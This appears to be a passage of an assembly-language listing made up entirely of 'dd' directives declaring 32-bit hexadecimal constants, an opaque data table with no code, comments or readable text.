dd 2DB0E0F8h, 0D3273DB4h, 8270D837h, 5FA40207h, 0E28D4684h
dd 0F8281D6Ch, 2127392Ch, 91E913A2h, 0A5B00DC8h, 1B8840BBh
dd 0E2BE01A6h, 3A1F334Bh, 0DFFEB402h, 41FC41F4h, 9D404670h
dd 2F566C61h, 24D20EFBh, 2239AA33h, 0F7F36552h, 6F58F590h
dd 0D64FA52Fh, 5A08A0B4h, 0E068EE5Ah, 407BF3E9h, 1E33F1C7h
dd 70974110h, 665020FEh, 584717B4h, 9FE67B3h, 5F4BF7CFh
dd 0BA7FB0D5h, 490518B3h, 0A8AE434h, 0A9A28590h, 20AE4475h
dd 665EB145h, 6C8FDFFCh, 0FA8BBFB7h, 26DF297Eh, 1A209488h
dd 58645221h, 948DA3BFh, 4119165Ah, 32D819FCh, 0E1272803h
dd 815AD822h, 0E82C5F07h, 59CE0473h, 0B365C3E9h, 772579A0h
dd 7922448Eh, 0C3274A56h, 79515549h, 80138B92h, 0AFF582C3h
dd 7F22CA91h, 12F67AD2h, 51FC6295h, 0DD326BAEh, 5CA8545Fh
dd 89FEE917h, 12C13520h, 5C592D01h, 12082B28h, 8B31C05Eh
dd 800F432h, 76E86D2Dh, 925DE98Eh, 0C7012D95h, 0EACB45ECh
dd 0BD70F022h, 0FA08B1F8h, 264773Eh, 78E73050h, 75804943h
dd 0E976CF92h, 0A3C98F4Ah, 0DFF5607Eh, 0B29421E9h, 754C5F27h
dd 0CD3C6127h, 0ED4727FFh, 4FB0D7A7h, 0CA255F60h, 0A0A2FE11h
dd 0B6594E08h, 0CD4B4B4Eh, 711C7DF8h, 0B52DF0BDh, 65E96A18h
dd 0CF4955Bh, 4F021466h, 0DC068436h, 0C14AA27h, 0A83DD80Ah
dd 0C5008A06h, 95075F3h, 0C15B1FDAh, 0FD562DE2h, 0C26851C0h
dd 276DF807h, 39F6DCE9h, 2B464142h, 0F541B2D0h, 0C4278362h
dd 652F1374h, 658D9C45h, 7D357E67h, 0EBA54AB8h, 0DB6A14CDh
dd 94504D5Dh, 0F1862570h, 1D748098h, 0CD310AD4h, 442CC2C4h
dd 6F257BF3h, 0D030F382h, 0AE459461h, 0E7BD23Eh, 0CBF780CFh
dd 0BA5BF806h, 0F4D8283Fh, 0C7E9CBC4h, 0FB4B6BA8h, 23AEF7DDh
dd 33E97087h, 0BF36515Eh, 68530B3Eh, 0A274385Ah, 2236AA62h
dd 477F7ADDh, 2B6D8214h, 84C15760h, 23BB2008h, 1BE33D17h
dd 174280FBh, 5461520Ah, 0D085BA1Ch, 9FA780FAh, 276C832Dh
dd 0F498D131h, 7021B05h, 0C8295372h, 3207892Dh, 0D164D57Fh
dd 1A560948h, 8254514Ah, 0D007ACBDh, 224BEC0Fh, 315802BCh
dd 409325CCh, 78BDBA9Bh, 7C7E7C1Ch, 0BFA94AD6h, 404ADF4Fh
dd 814524FEh, 0C0909CDh, 0D084260Fh, 5968005Fh, 0E8404B78h
dd 54F6952Dh, 0AC1EBB3Ah, 0C8146F0Dh, 139B4CA9h, 30F23109h
dd 5949BE02h, 0DE403A17h, 4D013C39h, 0E9CE2952h, 0AD5105A8h
dd 14AD5BD9h, 0E2D5FD89h, 0E96B40DEh, 0FA5E5E15h, 9D0B3F38h
dd 491867A0h, 9DB857AFh, 7F156160h, 69441369h, 83836031h
dd 0ED96766h, 3C46D5E9h, 6B6A164h, 8B007E25h, 24465DEh
dd 124E680Ah, 0D3DF32C9h, 0B8F42F40h, 503BE989h, 0A268132Dh
dd 0BD69BB53h, 5B0DAB5Ch, 5422EAFCh, 3546C88Fh, 362F0667h
dd 28C3897Fh, 9BAB040h, 16300476h, 370C0277h, 5D20A0D9h
dd 0E85B5553h, 46DE2E87h, 0AAAB2C01h, 708B2F05h, 0BCFB96D5h
dd 110026A5h, 50BF02C0h, 7166F420h, 423D0C91h, 0B53C51C5h
dd 0C37196D3h, 1F1E74FBh, 8769838Ch, 0C4B4013Ah, 580804D4h
dd 9F01B356h, 293BE00h, 31C10934h, 30606E6h, 0FD317046h
dd 68052516h, 79A1C1ABh, 1BAC6E60h, 613A8BDEh, 0D8BE3EA3h
dd 80F11DD5h, 401AE681h, 759574E9h, 2EF3B223h, 6DA79DBh
dd 0D0D0D729h, 0D9860100h, 2C64B050h, 3941E4A7h, 0B0E707E9h
dd 0D8DAE9F7h, 470EB909h, 25157050h, 7E463D68h, 424A6CF0h
dd 466D4930h, 84614E9Fh, 2C59991Eh, 0F4515150h, 0FA3B6579h
dd 0EF3024Ch, 99172E2Bh, 0EB101416h, 1D2842B6h, 0D95EDF6Eh
dd 0DECB09EEh, 0EE751D62h, 49F1FAB8h, 0D00117F6h, 4D1FDA0Dh
dd 49F02B3Ch, 48CF3C2Dh, 0C463C8AFh, 5205EAD8h, 0F72FA4B2h
dd 35F945D2h, 0F8A1825Bh, 6805A645h, 65F36489h, 481A0079h
dd 0E59C0543h, 0E4F2BCB7h, 0C10B68F3h, 4D367AF6h, 2CB66630h
dd 0CC5CA30h, 0EB61C057h, 0A36CD20Fh, 764F6963h, 179C89FEh
dd 0D123A825h, 89D121CBh, 5FFB353Ah, 448BDE59h, 0B76E7787h
dd 4184F14Eh, 0B1F1B2ABh, 4936E4F2h, 9192184h, 43A70253h
dd 6C5D809Dh, 0BD1F9034h, 61B5C260h, 229DC5Ch, 6195AC5h
dd 9766700Ah, 0D0092174h, 0B19F137h, 0A49ADF98h, 146AF27Fh
dd 41645868h, 695DA78Bh, 6B78B849h, 61900502h, 427F3432h
dd 0DD070B1Dh, 0E5E0CE8Fh, 5B31770Ch, 0E1F3E927h, 6D215C2Bh
dd 0B5A7887Fh, 0BE0164BEh, 8AD62B2h, 0E3F4D425h, 0A9F99D7Ah
dd 57EF89C9h, 4C620F71h, 0D09C5726h, 0B5771495h, 6E5BCB91h
dd 22FE27C4h, 3E5C6345h, 706EF982h, 9416D81Ch, 0FDB29631h
dd 0B3F202CAh, 7D6D704Ch, 0E90476D1h, 32FF532Bh, 56E92E10h
dd 0E15DF850h, 6A741FA0h, 0A5210E3Dh, 0D56A0BCFh, 64AA6994h
dd 783EF05Fh, 48CD95EEh, 0FD9D8DAAh, 0E91C2B94h, 5D277B25h
dd 0E92F31B6h, 0C8158BDAh, 0E1092A7Ah, 0A4D9B83Eh, 0C24C88B8h
dd 5C262302h, 8204010Bh, 0EFEF13AEh, 0E2F9FB9Dh, 68CED03Fh
dd 679B674Ch, 7A2B0C02h, 2515D04h, 0DF8EA689h, 6C9C78C4h
dd 75E3394h, 10A614B9h, 75ECA60h, 115758E6h, 0B81B1275h
dd 0BAB916A7h, 0E029BB82h, 95393854h, 0AB8C077Bh, 4E2914CAh
dd 0D3CCF2D1h, 0AE325F1Ch, 6FE484E6h, 9724F088h, 755A3EF6h
dd 0E9164314h, 29FE57C1h, 29BE2E7Ch, 2A41EAC9h, 30DA6563h
dd 8382FCBCh, 0F04A2264h, 95FD891Eh, 0F12592D7h, 27E968EFh
dd 0D14ABC85h, 0A01B8DE9h, 8940A35Eh, 8AD658F7h, 0FFB39B0Ah
dd 3DCF09B0h, 68C3DCD9h, 0E6EC8D25h, 3367BC4h, 0C249E780h
dd 42897D64h, 6353D1D7h, 0C901358Eh, 0C3134AEEh, 0C8295B30h
dd 0B2378816h, 0E8898716h
dd 5C812229h, 337C0B88h, 7C37FB01h, 37275F0Ch, 2EEAD94Eh
dd 85FBC234h, 99D8BF19h, 39756442h, 0A66880EEh, 5F5C1344h
dd 6B3004F0h, 30A04E6Ch, 0A5905A3Dh, 0DF2A878Ch, 68E24C7Fh
dd 4B4C7FBAh, 0F582B0E6h, 0EF400D2h, 0EAA24F54h, 5E0F423Fh
dd 3830635h, 3BD19B49h, 0CA1793CCh, 6C0B092Fh, 0F77D277h
dd 0E701ADBh, 7AD8B78Bh, 7A605E9Fh, 5C560F5h, 0E92B09E4h
dd 1AFA0D6Dh, 0A0C6014Fh, 2DFB790Ch, 985055CFh, 0EDFEC4B2h
dd 0D52EC8A0h, 4815980h, 2D64A6F6h, 0FCD3C722h, 68270706h
dd 5118FF49h, 0D99F1787h, 643F9D9Dh, 11A8C1F4h, 0AC6A20A2h
dd 59BDA7A8h, 34B36A13h, 0F50700FFh, 0C730A25Dh, 0D34DBC90h
dd 7F8217C7h, 3E500DB6h, 51BA8021h, 63560D2Eh, 69DFF201h
dd 0EF2B1FC9h, 635AB645h, 0EDB7D9AFh, 0E850026Fh, 10D5896h
dd 3A830EBCh, 0DDE9FA2Dh, 84C47E03h, 112C4E8h, 956A2D1h
dd 0D65FA8E9h, 3CD3406Ah, 76954133h, 60A4895h, 0C697E6E9h
dd 2BD53503h, 0AB2D5579h, 0D795AA9Fh, 55A58ADBh, 6C9D0D66h
dd 0FA0EA082h, 12540023h, 563AE781h, 0C984015h, 0EBFDCA12h
dd 9F84F0Bh, 25FCDE54h, 201516DFh, 5137C6Dh, 0BBBF9A0h
dd 17C0D409h, 0A5B8E589h, 647F2F43h, 80AD3F02h, 1B03686Ah
dd 39524DCDh, 2C30C2F1h, 0BD4C4B5Fh, 0D3C9D3E3h, 0BDCCBC2Fh
dd 40725808h, 0A8BEBB33h, 38BD341h, 9576797h, 0D25DCBD6h
dd 509D2581h, 0EBA0C2DBh, 0D1416C5Eh, 0C92BD9Dh, 3F4E9830h
dd 291E6763h, 8EA14F2h, 9EDBB50h, 3536057Dh, 552D82F5h
dd 60B80051h, 2F7DD825h, 9A13400Fh, 4669E57Bh, 0C4293ECDh
dd 0B7677F1Ah, 751BC25Dh, 5B5F3A58h, 67E271FFh, 0CD7607E0h
dd 8643E7Eh, 0E590998h, 8A136984h, 87FAE937h, 1C47D1A0h
dd 32DFE458h, 43B83AC0h, 0BD079D4Bh, 0F701B254h, 293C09B1h
dd 1D75B061h, 0D6ADE03Bh, 4790FA4Fh, 2A07F37h, 59CD0913h
dd 0CA41DDF7h, 0A6002F45h, 0E9E45B80h, 0F49C4B6Bh, 0ED256752h
dd 0CE36813Bh, 846B1E20h, 39BCEBC5h, 8456B24Bh, 30E81021h
dd 2598ADA4h, 0C02742E8h, 8B124812h, 4684648h, 18B7332Fh
dd 129D2FBh, 0EA813CF4h, 3C5F5619h, 877506Bh, 0EDF75E25h
dd 4EE90B03h, 0F60E51D0h, 965166DDh, 57F51FBBh, 2D75C0EAh
dd 0A10057C0h, 0BC354815h, 0A9116564h, 9DA4ED7h, 0E7F0DDF8h
dd 0C4C1BF6Fh, 5F0B3AC0h, 87F16557h, 9735568h, 80727B75h
dd 1413E981h, 0D0EA616Bh, 0F9A3C75Bh, 0E110DA26h, 29EF68E9h
dd 2360072Ch, 0C2E614D2h, 0F5C42D78h, 97B3BEF7h, 0DE2F57DCh
dd 5B54D0FFh, 420C5B9Dh, 0C2D66D6Eh, 0C767FB71h, 0F1F77162h
dd 8B95F15Dh, 4B6EAE26h, 7C4BD7B0h, 3C02B961h, 0D826844h
dd 1F8608A9h, 0BF8792C0h, 59DA5C38h, 2384D11Ah, 5E9C1478h
dd 286806AFh, 0C2D10E3h, 7041765Bh, 3BF3C068h, 0E15067B6h
dd 753A3C40h, 6794EBCAh, 0EF4B0DFCh, 0E7FEEB75h, 2CA9238h
dd 9CE95209h, 20B0C261h, 0C0BFC311h, 4B61688Fh, 4D41EB74h
dd 0F5EC8092h, 1422C8B7h, 28518751h, 0AD1A7F2Eh, 648140C1h
dd 7445602Bh, 3D090CEEh, 0CE3A4B76h, 7A6816D8h, 4155FB00h
dd 95314F39h, 0EB02577Eh, 57684411h, 0A64237DEh, 45D70BCBh
dd 9DDA8BEh, 3DE1D3Ah, 0D35E5DCh, 0FEBE04EFh, 6086F543h
dd 0FEBF05D0h, 3F3A8298h, 7CC02594h, 6B286EA2h, 0F0009E36h
dd 29EF0975h, 0F7B0E9F9h, 0A86B0F65h, 0EE247AF7h, 87401CB3h
dd 0B55ECF68h, 0C12F27C6h, 9EC4612h, 607C1783h, 68500D0Bh
dd 4C765861h, 0D5F26F4Dh, 9CC502A7h, 0D9975A56h, 1C903D0Eh
dd 53C4852h, 741940EDh, 6C7C8405h, 86AC4EC5h, 0B7785B78h
dd 0E24A7B74h, 86BEBFC3h, 0EE293E03h, 8E909F2Eh, 1EE6E7B7h
dd 0F9970E72h, 4E5DC957h, 0A187BF99h, 47684051h, 1788846h
dd 0BC0BE59Ah, 84FE77B9h, 78E10264h, 92D2FD6Eh, 41B514B4h
dd 6743412Fh, 6068007Eh, 0EBBB34h, 30757BB7h, 84164DBAh
dd 28C7CF8Ah, 1C6BD8A9h, 0EDD0F797h, 1E261476h, 2236A9BFh
dd 7937EC02h, 69F45D2Bh, 0D3AE5BC5h, 2350E8D4h, 501FB643h
dd 0C1160A8Fh, 961DC80Fh, 273304AAh, 772DFF16h, 94AC8C14h
dd 407DF54Fh, 72253583h, 90E97809h, 7D6D9221h, 35DA3FCBh
dd 7558897Dh, 0E6633D79h, 0A21E5E44h, 418DE3D8h, 2FDC872Fh
dd 0A9E9D638h, 443D7822h, 0CD019605h, 9208C810h, 7860178Dh
dd 447A5E5Eh, 922FB9B8h, 0C0D5EFCAh, 2FB56B61h, 0EE54A069h
dd 0B20BFB20h, 5011B861h, 8ED51F0h, 6CEC1C82h, 6842391Dh
dd 97F1BEDDh, 0F97A927Dh, 0C607C9D3h, 17F499EFh, 7AE7F4C9h
dd 0EF76E084h, 48ADC788h, 3A49306h, 0C9042286h, 0BE4CC02Ah
dd 98B23520h, 3A55200Bh, 43E1BD06h, 1E41F9Dh, 3F154AF5h
dd 52CD58E9h, 5E5FD2BDh, 28DACA4h, 0CC51B54h, 9C0B01D4h
dd 2043F13Fh, 38AD0FAEh, 28C5536Eh, 41A91D2h, 271D2ABFh
dd 6841C62Ch, 993E750Eh, 45A22ADDh, 0EF99AB96h, 9F513234h
dd 0DCF2D554h, 70E9C162h, 0E02D9716h, 311B1118h, 685617D2h
dd 0CD1E8DA5h, 0BFB3BDAh, 9C82DE91h, 5D0196C5h, 0CAE3CE09h
dd 814E569Dh, 4C083BC8h, 0AEA7043h, 44825D1Dh, 3E06F380h
dd 24C12B22h, 81CB08EBh, 31A6D2C3h, 0D0042BB2h, 5007592h
dd 713620Ch, 720D69Ch, 0D916E92Ch, 4E043389h, 0A9739DF5h
dd 969D8EA0h, 5F542482h, 1820000Ah, 685022C4h, 0E9027E25h
dd 8100DFA3h, 0E3946EAh, 68538F83h, 0DBF8B7D1h, 6D2BCAC1h
dd 0A0346C3Ah, 7E8C1h, 624FD235h, 7AFDE97Fh, 8485DBB5h
dd 0ABC8B70Fh, 0EBD2F6E2h, 406A618Fh, 5283022Ch, 0D160466Ch
dd 0EB74744Ch, 3B385D60h, 28DD80DEh, 41EEE889h, 22853E28h
dd 15D84EEh, 6411B7BCh, 22233E4Fh, 0C9F702EAh, 72960BEEh
dd 0A9242A56h, 81180E6Ch, 5533853h, 70EA267Dh, 342D17B6h
dd 2A6CDA8Dh, 283837C7h, 0A5A6201Eh, 0B56ACCB5h, 470E157Bh
dd 0A3EF1201h, 5771C605h, 7EB62420h, 0AC3612BAh, 664181BAh
dd 983B72CFh, 0CA1C13Ah, 0B53205Ah, 14B50A07h, 0D499FBE9h
dd 1F12524Ch, 2984EF5h, 4B6E02CDh, 2F5113E9h, 55F817BCh
dd 6FF08F20h, 0F750165Ch, 847F09D6h, 57A909FDh, 0E6AC0C6Fh
dd 3257D49h, 0BBE140F7h, 62BD3435h, 6805DABEh, 0CC442EDCh
dd 0A0177F4Ch, 564B5A68h, 5CA80724h, 56BD8F14h, 0AE170884h
dd 70749A29h, 3FAE410Eh, 281073A0h, 0FA7330h, 615C1EC2h
dd 0E9EA012Dh, 6EE13CFEh, 0BA76FEDh, 2BAFB2C8h, 1E7A6B9Dh
dd 0DE19B11Ch, 3F627A1h, 5D6B2542h, 79BF9B46h, 0FC2F6237h
dd 0E581B077h, 0C6CE9D7Ch, 4052E91Ch, 2718DF2Dh, 0D9B5E768h
dd 0BE8A0F4h, 3FA22636h, 0D22D3CFEh, 4B762024h, 0F1BA5D95h
dd 0AA691A84h, 0D8923AFCh, 855AB151h, 20855CB2h, 0ED76EB34h
dd 0B82D4F07h, 0A8E48610h, 63C1003Dh, 219D83F3h, 99BC59CEh
dd 80D45515h, 606BBDBEh, 46714Dh, 2FC3B850h, 0C631337Dh
dd 0FD25CA93h, 0E2F74789h, 67CB838Dh, 0B96C5D4Ah, 68B22DD3h
dd 95009310h, 417DBB36h, 0F9825B68h, 564080F7h, 58215014h
dd 2F735FE9h, 0A27AA15Ch, 8097B4F4h, 65CA35CBh, 2D4C7AA6h
dd 3251682Eh, 5C820392h, 0FF99859h, 2C999A0h, 0ABB2D2F3h
dd 0F29D8FDDh, 4E62E701h, 0B42055ECh, 30604E09h, 0B243DD8Ah
dd 0E6813501h, 608B7DE3h, 0F7E6042Bh, 0C3BCEFDEh, 88634407h
dd 13C66015h, 164FD46Fh
dd 0E938FAB8h, 0AA39DE2Ch, 86CE208Eh, 0DB4984BDh, 4728E1A8h
dd 493709C0h, 60FD3DA6h, 9AEB16B0h, 20019F85h, 270A6D68h
dd 47F40540h, 0C9E55480h, 0E989906Eh, 0C6B60648h, 76407484h
dd 413359C1h, 8A5A9223h, 43E91DA6h, 65068A7h, 0E20A5C36h
dd 0D026E7Ch, 0BF2CECA5h, 0EB4A73B6h, 26AF5B24h, 0E62F2EBDh
dd 0FECBA4E5h, 84BF894Eh, 0FA1C7721h, 0D9052D64h, 84CCE29Bh
dd 0C4556050h, 49A27181h, 0C42BBD05h, 0B0BFA9EEh, 0C541160Dh
dd 0D8C315CBh, 0B037252h, 43840FC9h, 659D24C6h, 0A7E91DA3h
dd 7B5E22EAh, 847CDE2Fh, 0FC734868h, 62E3C466h, 65F4E741h
dd 0EF6D3098h, 0C185502h, 55F831F2h, 9AF14B42h, 53D93605h
dd 0C1BDD9FBh, 3C35235Ch, 6AD38452h, 80FF32FCh, 543BBA2h
dd 0D2F70F18h, 26390D10h, 5A30A48h, 44B5C31h, 0E25AD6FAh
dd 9B590DBh, 2B154C3h, 7CF0D2A6h, 0C2E9D04Fh, 0ADFA61B5h
dd 5091603Fh, 15392273h, 85333D2Dh, 5D0296Dh, 0C15A070Eh
dd 126F7465h, 842DD8F4h, 105C6813h, 2604C9CDh, 1A1AA182h
dd 515DBA82h, 0F00810Ah, 0D73C87Dh, 4B44E448h, 6B08B13Ch
dd 0EA0F7F8Ah, 0F7A98A87h, 0D72D4954h, 5E50CB2Bh, 0FDB3515Fh
dd 2E38EAD3h, 2FA341DBh, 0A040DA9h, 0ABD21A09h, 0EF0252ECh
dd 66F63577h, 8A0E0DEh, 42997EC6h, 0FDBF1E40h, 0AB2A5624h
dd 5A5F12C2h, 1A9A21Bh, 6657E90Fh, 0F8DF742Eh, 43F9A13Ah
dd 0F2BED78Eh, 0BE6BFD07h, 14F74AE9h, 601FF8C1h, 0CFBD546Dh
dd 0C7A7236h, 5F8BD459h, 4039F781h, 481E430h, 7C552DF2h
dd 0C22CFA2Ah, 107B26A3h, 0E8DA12C7h, 4639B1D8h, 6A656801h
dd 0E80DF762h, 69428FF3h, 72553D38h, 895D167Ah, 6464F5h
dd 0C131028Bh, 0D116F74Ch, 4EE0BBE9h, 9A1BEC53h, 47719547h
dd 951F3CC6h, 0D2BDD772h, 98595034h, 0C13B126Fh, 0DEF60172h
dd 603CA85Fh, 0F9900685h, 71ABE15Fh, 8C054A3Fh, 0EB3772D7h
dd 0F3C04ECFh, 150A1ACAh, 495E821Ah, 0CB810025h, 18FA688Eh
dd 0B789BDh, 1EA4F088h, 97B9BA55h, 191711F4h, 508FA0EDh
dd 2C60314Bh, 0B53BF68h, 0BBB305C4h, 5332D830h, 4E8350EEh
dd 0B109EC54h, 1B656362h, 5AB0FD3Bh, 7C05E8D7h, 4CBFF2BFh
dd 0B5272099h, 63F2215Ah, 87C6E16h, 2AB104BFh, 0D5D71D72h
dd 27088AABh, 800601F4h, 0C5CC4AEDh, 0DD2837B6h, 0CC3D5810h
dd 0F74434D2h, 7BBC9C80h, 0F3104093h, 0D28D1E05h, 0D6B3FA09h
dd 5BEA85Bh, 80A0A144h, 0E4C59ECh, 0BE301E12h, 0A1E8CBCDh
dd 0B814C026h, 7569652Eh, 9A092A90h, 0E616E73Ch, 5932CBEAh
dd 8106F748h, 3734C90Bh, 40F20F8Ah, 0DDF3BA71h, 9BC85C01h
dd 1502E812h, 14BABA1h, 58508D8Bh, 0ED0A301Bh, 0D13207A2h
dd 3AA9B480h, 0DCBD3032h, 2E607068h, 0C1457782h, 0A7025C65h
dd 7D8FE91Ch, 5568B618h, 21821116h, 16CC0BE0h, 0FB641C5Ch
dd 0C7312021h, 0F9684960h, 0FF04CCAh, 66C870AAh, 682F70F2h
dd 0A5C94164h, 70EB6AAEh, 7A250BC4h, 0A5DA2977h, 0E4DF0982h
dd 27ED200Eh, 86C24095h, 8F209E4Ch, 73C47FEBh, 0FD8D8044h
dd 82EF7B06h, 890A8C18h, 1470FF7Dh, 1C450883h, 20AFFA14h
dd 0FA110E80h, 7127E948h, 0BE2E4549h, 0B223B692h, 76FC0793h
dd 8AC27227h, 0DE824925h, 0BC3601DCh, 95A8551h, 32DBC2F1h
dd 0D8F7FF50h, 4490C68h, 2757857Ah, 16A97FA4h, 0C168873Ch
dd 6FC197B3h, 484C26CEh, 55B6BF02h, 50D50A52h, 0A9CF0149h
dd 0F77ED547h, 516130DFh, 9D40BD04h, 8899F989h, 5B2C8D24h
dd 1BACC25h, 0FD319C81h, 6D89D79Eh, 0CBCE7674h, 0C1420758h
dd 88A4744Bh, 5D264105h, 25CBD108h, 0C7AAB0DFh, 6F47B4BBh
dd 0F9177926h, 9925459Fh, 2E37784Fh, 403D04E0h, 0F5A2C77h
dd 18C93AF2h, 9ED851F5h, 88048453h, 0D3E9C2DAh, 67C2FC5Fh
dd 8E7DF6E9h, 4E5B11BEh, 0AC70EC80h, 24A9AC5Ch, 0AC75ADE9h
dd 65802B0h, 5574316Dh, 0C43E60Bh, 4BF0C71h, 0E97F446Ch
dd 0A15DAF4Eh, 0C52C3A82h, 30557EF3h, 831AC842h, 0B64ED390h
dd 6F5B89ABh, 68F0AAF2h, 0C69D6395h, 3062016h, 5FFE2B0h
dd 0F4D5C2AAh, 0FE69667Dh, 0F1D35D96h, 1C772A0Fh, 0D7F79782h
dd 0FA2D4650h, 0D71F3AFDh, 48614212h, 853E64F6h, 5F8B7045h
dd 0CE807FBFh, 5CE7E90Dh, 4E82F896h, 7FD61DD5h, 0BA013284h
dd 39F4BD21h, 6EF39150h, 58892D55h, 0C69F615Eh, 1774EAFh
dd 8A60D4B8h, 70440106h, 5F26E997h, 90AFF1DAh, 0D623B0A1h
dd 7901AB14h, 44485FFBh, 63DCAB14h, 0EA7B4B68h, 587CA230h
dd 0F765048Eh, 0BFF1E9D6h, 4FF36F16h, 0ECC1317Bh, 0DC8DB116h
dd 0F5A43437h, 2C40191Ch, 837D72E5h, 0E20C4F08h, 73C01B26h
dd 1DD8D833h, 84AF5EE8h, 2E80B5CBh, 8628E1A1h, 7D3CEE4Fh
dd 4349408Ah, 1AB024B8h, 1E02289Ah, 0E9950ECAh, 0BAEFE84h
dd 22D3595Fh, 6314C501h, 502E49A6h, 592F08E0h, 0BB0D3553h
dd 0BD3A3780h, 12335193h, 0DD6368B3h, 106059BAh, 0B5C0566Fh
dd 6244ECEh, 0C37B015h, 3DCA501Ch, 5F8272FCh, 59495AFCh
dd 18294738h, 3D4B3C92h, 2D25DE06h, 68048BD3h, 0DF33EECh
dd 0F1620B7Eh, 1A8DE927h, 0D5B26E6Ah, 580EC2B4h, 0D2BF1A66h
dd 5CF50044h, 0E937670Bh, 9FC05258h, 41491402h, 3FAAA05Dh
dd 2DAF2D1Ah, 0B7F1FE01h, 0E9AA41F3h, 0FFA72B36h, 24805327h
dd 29D85C7Bh, 5B78DFFAh, 272CA3FCh, 0B30058D6h, 0E9425402h
dd 0A48D4820h, 3D5BC981h, 74ACED1Bh, 0D028F7A3h, 540FAF96h
dd 0C475C302h, 580EFCA8h, 7F4598C6h, 7028E04Bh, 3E55EE9h
dd 6F18033h, 0DA25C199h, 0E8F5D342h, 0B702AB3Fh, 53146C67h
dd 9B322F6h, 0C72987F1h, 0D4B76E05h, 3A09BBDEh, 3C40D7C1h
dd 83FF835Ah, 5F42842Fh, 588CC254h, 0F4DEBDF1h, 82D8CD50h
dd 692A51D7h, 0E9CB387Fh, 91BB6EEFh, 11B68A1h, 41F6290Ah
dd 5ADE4208h, 0A7BE5600h, 7B120916h, 0C589F331h, 0D6270376h
dd 1768E28Fh, 0BE06A5ECh, 1DDC30E9h, 0A79A4DD0h, 0D9123D05h
dd 0C7B50E57h, 72E4FA4Fh, 4D29AB68h, 0B26C866Bh, 1273222h
dd 0DF2B90C2h, 0C7B8503Ah, 3E1BEDA1h, 0FC185EA8h, 0A7BA2838h
dd 1D922F07h, 0BBC24A42h, 9191AA76h, 53026B0Bh, 0BB0CB795h
dd 0B86330D5h, 5B36CBAFh, 8469F359h, 0A44B1A25h, 0F5886DA2h
dd 526401F4h, 2B8F9BAh, 321B310Dh, 0A88F5750h, 9A602000h
dd 505401Eh, 733ABCC5h, 0CB3418D7h, 20ECB7B1h, 0E947129Ch
dd 0BFAEC448h, 0CAB195E8h, 0FFAD2B20h, 0B2924E78h, 705A0605h
dd 0BC64A95h, 4291405Eh, 1A0E4400h, 93B82EEBh, 49E4748h
dd 94D68E7Bh, 0BBFC85EAh, 0C88B4FE5h, 4D4DEBFh, 675F9960h
dd 0C301285Eh, 0C7347ABEh, 0E279C173h, 0EA571310h, 6BF6751Eh
dd 38E91354h, 4B5AD063h, 42E7440Ah, 22F455FFh, 60BA5127h
dd 0CC685156h, 71056619h, 7DC20986h, 48E2FB76h, 5994FD40h
dd 6B5A5F48h, 6E450477h, 8507ECAAh, 69F8427Eh, 555B2D3h
dd 2C7068D1h, 0FD110ACh, 203CA04h, 917E95Ah, 0DA5111E9h
dd 2EF32022h, 5F00899Fh, 26586FE1h, 39BB4F1Ch, 0EEE4466Ah
dd 0D98C115Ah, 293B185h, 7032F0CDh, 4DA4C057h, 0CE5C7E60h
dd 2CC5BA0Ch, 12E6AE7Dh, 5C74E9C2h, 0C726E5F3h, 74F07422h
dd 6ACF334Ah, 0CAD15A2Dh, 0B41DAD70h, 83686358h, 5A0F3CE0h
dd 0CEF3909Fh, 278CDCF4h, 379422D5h, 447D09E1h, 5FFA25C0h
dd 5438D4E0h, 22E93B0Bh
dd 7039FE57h, 9C9D322Eh, 7F8486Bh, 8C455317h, 4B38E906h
dd 0DAEA4B74h, 0D9D84F99h, 238C2768h, 40A1B36Ch, 7AE61025h
dd 7C1E3D4Dh, 0B7CA27BEh, 0E8688263h, 249A93Ah, 0FF807360h
dd 60F6ADCEh, 0D08835C3h, 7DC39A53h, 1DFD3689h, 885C014Ah
dd 628DE9EBh, 0A2C20310h, 0B01C6B43h, 27297AE2h, 80DD5759h
dd 3F88F2ECh, 1C2BEDE4h, 58F349DDh, 0D4277CDCh, 7E9E163h
dd 2BCE2F01h, 5B93BB00h, 2E96776h, 4BE2864Fh, 605F7E85h
dd 870EE4DBh, 57560F1Fh, 73278EC2h, 8CD0DE06h, 5B2E6E25h
dd 15A2B801h, 0D0012FCEh, 0B9FD4F21h, 172E7125h, 5D98AAADh
dd 0BC1B444h, 0E716E230h, 0F6CAFE0Eh, 0D7DA49D2h, 49F4D407h
dd 0D5355285h, 8E49E4AFh, 0AFAB7192h, 0F54D5829h, 0F90898A4h
dd 1E2D0148h, 0E8097D35h, 59B75301h, 9098E408h, 19C6806Ah
dd 7502FF9Dh, 98A42465h, 0BDB1BEC3h, 609571F2h, 4A29C1B9h
dd 0E1030974h, 8FE95506h, 0A3F76CDh, 6A177A68h, 4A4E1CBDh
dd 1C984163h, 4CA0E01Ch, 0D11654EAh, 0ACF388E5h, 0EF98EF96h
dd 852E68C1h, 0AA3503BFh, 7A78220Ah, 0A5A8574Bh, 44F563E7h
dd 0E93E9888h, 0E0C7BA4Ah, 0A70F7441h, 36F287F4h, 0D608D6F7h
dd 0E70A750Ch, 7FAD9E33h, 0BA1E4A74h, 5F08CE10h, 29C475E2h
dd 895198D0h, 0FF304225h, 0D52721C7h, 1D168760h, 0DB8B8C0h
dd 9F5DED08h, 0E80F2551h, 47D36105h, 43D83F76h, 0A6972DFAh
dd 0E0342C40h, 94EF8980h, 5E7752E5h, 61BE580Bh, 203E1816h
dd 31561601h, 0C80075Fh, 76BF2ABDh, 0ECB0FE29h, 0C400883h
dd 0F67CE914h, 0D33574C2h, 0F58C42C9h, 260659E3h, 6C872BD5h
dd 0BC47E4Eh, 94E97B2Fh, 3F440CE9h, 0C893D2ECh, 45411D47h
dd 624E3F41h, 8CF9DFC2h, 5CA4FC16h, 49EA0BCFh, 2D804FA7h
dd 1048221Ah, 0FA97E2B0h, 0BCE91837h, 0ABC22FB2h, 18C0313h
dd 564A3500h, 5AE9100Bh, 8B08C48Ah, 93697728h, 0BECDD189h
dd 0B9AB4D13h, 74B76F5h, 5A2719E7h, 0BF4BD9F0h, 7BB89D60h
dd 47C2000Ch, 5201E883h, 27766FBAh, 20BF2D48h, 25C09048h
dd 0D07B662Fh, 0C30254A7h, 844BBE22h, 25A367F8h, 0CD9693D6h
dd 0F066B102h, 0BA52DD3Dh, 773E2B95h, 440F992h, 3A7B726Bh
dd 0F16014Fh, 0E2008B16h, 7BE83B48h, 4F7627BDh, 640906D4h
dd 0BC01F933h, 0F091EA5h, 8814E77Dh, 2C038660h, 0EFF8289Eh
dd 60D66B4Fh, 18F06879h, 0A8110F55h, 0C16BEEAh, 0D4181228h
